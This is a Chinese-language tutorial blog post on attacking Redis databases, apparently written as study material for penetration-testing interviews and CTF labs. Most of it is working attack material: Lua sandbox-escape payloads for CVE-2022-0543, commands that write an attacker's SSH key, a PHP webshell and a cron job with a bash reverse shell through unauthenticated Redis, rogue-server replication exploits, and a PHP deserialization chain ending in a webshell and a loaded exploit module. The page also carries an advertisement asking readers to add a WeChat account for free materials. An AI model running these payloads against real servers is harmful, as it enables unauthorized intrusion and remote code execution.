數據庫攻防學習之Redis

Redis

0x01 redis學習

在滲透測試面試或者網絡安全面試中可能會常問redis未授權等一些知識,那麼什麼是redis?redis就是個數據庫,常見端口爲6379,常見漏洞爲未授權訪問。

0x02 環境搭建

這裏可以自己搭建一個redis環境,也可以用vulfocus搭建一個環境,可以兩個都搭建,因爲一些攻擊手法,需要自己搭建的環境才能成功。

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建議vulfocus最好搭建在雲服務器上,本機搭建的有的環境可能會復現不成功。

0x03漏洞復現

Redis Lua沙盒繞過 命令執行 CVE-2022-0543

該漏洞的存在是因爲Debian/Ubuntu中的Lua庫是作爲動態庫提供的。自動填充了一個package變量,該變量又允許訪問任意Lua功能。我們藉助Lua沙箱中遺留的變量package的loadlib函數來加載動態鏈接庫/usr/lib/x86_64-linux-gnu/liblua5.1.so.0裏的導出函數luaopen_io。在Lua中執行這個導出函數,即可獲得io庫,再使用其執行命令

該漏洞的存在是因爲Debian/Ubuntu中的Lua庫是作爲動態庫提供的。自動填充了一個package變量,該變量又允許訪問任意Lua 功能

我們藉助Lua沙箱中遺留的變量package的loadlib函數來加載動態鏈接庫/usr/lib/x86_64-linux-gnu/liblua5.1.so.0裏的導出函數luaopen_io。在Lua中執行這個導出函數,即可獲得io庫,再使用其執行命令

代碼如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");
​
local io = io_l();
​
local f = io.popen("id", "r");
​
local res = f:read("*a");
​
f:close();
​
return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞復現

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

這裏可以用another redis 這個個管理工具,方便redis數據庫使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0

未授權訪問redis 未授權訪問 (CNVD-2015-07557)

這個未授權訪問存在很多,而且面試也很常問,實戰也能遇見到。

攻擊姿勢常見有三種,1寫入公鑰,2寫入webshell,3寫入計劃任務,當然其中有不少細節,我們需要去掌握。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

1.linux寫入公鑰

利用前提 Redis服務使用ROOT賬號啓動,安全模式protected-mode處於關閉狀態

允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器

ssh-keygen -t rsa
​
cd /root/.ssh/
​
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt
​
cat key.txt | redis-cli -h 目標IP -x set xxx

這裏權限不夠,這個是vulfocus有問題

滿足條件的話可以直接這樣,可以自己搭建一個redis環境做實驗

具體搭建可參考

https://blog.csdn.net/qq_41210745/article/details/103305262

yes要改成no

環境啓動,接着

config set dir /root/.ssh/
​
config set dbfilename authorized_keys
​
save
​
cd /root/.ssh/
​
ssh -i id_rsa root@目標IP

已經成功寫入

進入該ubuntu查看 cd /root/.ssh/

嘗試SSH連接

ssh -i id_rsa [email protected]

可以看到成功拿下

2.寫入webshell

前提條件,有可寫權限,存在web服務,知道web路徑

繼續用該環境下嘗試webshell寫入

命令如下

FLUSHALL 使用這個清空之前的配置

前提條件,web目錄可以讀寫

config set dir /tmp 設置WEB寫入目錄
​
config set dbfilename test.php 設置寫入文件名
​
set test "<?php phpinfo();?>" 設置寫入文件代碼
​
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
換行防止執行失敗
​
bgsave 保存執行
​
save
​
chmod -R 777 /var/www/html/

這裏設置html嘗試寫入webshell

3.寫計劃任務反彈shell

FLUSHALL 記得清空配置

利用條件:Redis服務使用ROOT賬號啓動,安全模式protected-mode處於關閉狀態

環境依然是上面的配置環境

config set dir /var/spool/cron
​
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"
​
config set dbfilename x
​
save
​
set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos會忽略亂碼去執行格式正確的任務計劃

而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗

可以看到有亂碼,ubuntu並未正常執行

主從複製利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一個交互式的shell

https://github.com/vulhub/redis-rogue-getshell 這個可以直接命令執行

redis-rogue-serve

python redis-rogue-server.py --rhost 目標IP --rport 目標端口 --lhost
IP
​
python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

redis-rogue-getshell

這裏記得要編譯

cd RedisModulesSDK/
​
make
​
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"
​
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"
​
​

實際情況中我們可以靈活運用exp.so文件,不一定非得用腳本,比如這種情況

天翼杯

考點反序列化,redis主從複製RCE代碼

<?php
​
class a{
​
public $code = "";
​
function __call($method,$args){
​
eval($this->code);
​
}
​
// function __wakeup(){
​
// $this->code = "";
​
// }
​
}
​
class b{
​
function __destruct(){
​
echo $this->a->a();
​
}
​
}
​
$a=new A();
​
$b=new B();
​
$a->code="phpinfo();";
​
$b->a=$a;
​
echo
serialize($b);

構造POP鏈子,可以看到call魔術方法裏面有eval函數,那麼需要構造鏈子觸發到call魔術方法。

call():當調用對象中不存在的方法會自動調用該方法wakeup()當使用unserialize()反序列化一個對象後,會自動調用該對象的__wakeup方法

這裏destruct方法調用了一個不存在的a方法,那麼會調用到call方法

因爲wakeup方法中$this->code ="";還有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);這裏有過濾,所以接下來要做到繞過wakeup和正則,這裏利用wakeup的CVE和php對類名大小寫不敏感的特性去繞過,A,B換成a,b,其中wakeup漏洞原理:在類對象屬性個數超過實際個數時就會不執行wakeup函數。

如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}繞過wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

這裏無法執行system("ls")

蟻劍連接$a->code="eval($_POST["a"]);";

打開之後發現其泄露了redis的密碼define("REDIS_PASS","you_cannot_guess_it");蟻劍插件連接上

使用EXP.so文件

MODULE LOAD /var/www/html/exp.so

然後就可以進行命令執行了

若有收穫,就點個贊吧。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章